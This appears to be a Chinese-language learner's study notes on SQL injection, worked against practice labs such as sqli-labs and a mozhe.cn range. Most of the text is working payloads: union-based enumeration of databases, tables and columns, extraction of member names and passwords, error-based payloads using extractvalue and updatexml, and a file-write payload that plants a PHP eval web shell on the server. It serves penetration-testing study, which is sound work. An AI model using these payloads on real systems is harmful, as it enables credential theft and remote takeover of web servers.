基本手注
- 判断是否有注入如点
- and 1=1
-
and 1=2// 判断是否有注入点
判断返回字段数目
1.order by 1
2.order by 2
。。。。。
-
查看当前数据库名,查看版本号
1.union select 1,database(),version(),4
例如:
http://mozhe.cn/new_list.php?id=1 and 1=2 union select 1,database(),version(),4
- 爆数据库名
-
union select 1,SCHEMA_NAME,3,4 from inforrmation_schema.SCHEMATA limit 0,1
注:在MySQL数据库中information_schema库中,表SCHEMATA 中在SCHEMA_NAME字段中包含所有数据库名;
limit 0,1意思是从第0行起,取1行数据sql注入学习笔记基本手注盲注基于报错的注入写文件注入(需要写文件权限)
-
爆表名
1.union select 1,2,TABLE_NAME,4 from information_schema.TABLES where TABLE_SCHEMA = ‘数据库名’
数据库执行语句:select * from news where id=1 and 1=2 union select 1,TABLE_NAME,3,4 from information_schema.TABLES where TABLE_SCHEMA=‘mozhe_Discuz_StormGroup’ limit 1,1
注明:information_schema.TABLES 存放着表名
-
爆破字段名称
字段名在information_schema库COLUMNS表中,
表的格式:
sql注入学习笔记基本手注盲注基于报错的注入写文件注入(需要写文件权限) 常用的表的字段:
TABLE_SCHEMA //表所属库
TABLE_NAME //表名
COLUMN_NAME //字段名
COLUMN_TYPE //字段类型
例如:
http://219.153.49.228:48509/new_list.php?id=1 and 1=2 union select 1,COLUMN_NAME,COLUMN_TYPE,4 from information_schema.COLUMNS where TABLE_SCHEMA=‘mozhe_Discuz_StormGroup’ and TABLE_NAME=‘StormGroup_member’ limit 0,1
-
爆破字段内容
查看当前表中有几条数据;
count()
例如:http://219.153.49.228:48509/new_list.php?id=1%20and%201=2%20union%20select%201,count(),3,4%20from%20mozhe_Discuz_StormGroup.StormGroup_member
将数据拼接成字符串
concat()
例如:union select 1,concat(name,’-’,password,’-’,status),3,4 from mozhe_Discuz_StormGroup.StormGroup_member limit 0,1
盲注
sqli-labs 第五关为例
所用函数介绍
- left(a,b) 表示的是从字符表达式最左边一个字符开始返回指定数目的字符.若 b 的值大于 a 的长度,则返回字符表达式的全部字符a.如果 b 为负值或 0,则返回空字符串.
- right(a,b) 表示的是从字符表达式最右边一个字符开始返回指定数目的字符.若 b 的值大于 a 的长度,则返回字符表达式的全部字符a.如果 b 为负值或 0,则返回空字符串.
- **substr()**函数 substr(字符串,截取开始位置,截取长度) //返回截取的字
- **length()**函数 获取当前字符串的长度
基于报错的注入
所用函数
-
extractvalue()
extractvalue():从目标XML中返回包含所查询值的字符串。
EXTRACTVALUE (XML_document, XPath_string);
第一个参数:XML_document是String格式,为XML文档对象的名称,文中为Doc
第二个参数:XPath_string (Xpath格式的字符串)
concat:返回结果为连接参数产生的字符串。
payloaod: and extractvalue(null,concat(0x7e,(select @@datadir),0x7e));
extractvalue注入的原理:依旧如同updatexml一样,extract的第二个参数要求是xpath格式字符串,而我们输入的并不是。所以报错。
-
updatexml()
payload: select updatexml(1,concat(0x7e,(select user()),0x7e),1)

payload(所用函数outfile)
- id=-1’)) union select 1,2,’<?php @eval($_POST["cmd"]); ?>'into outfile"/var/www/html/22.php";%23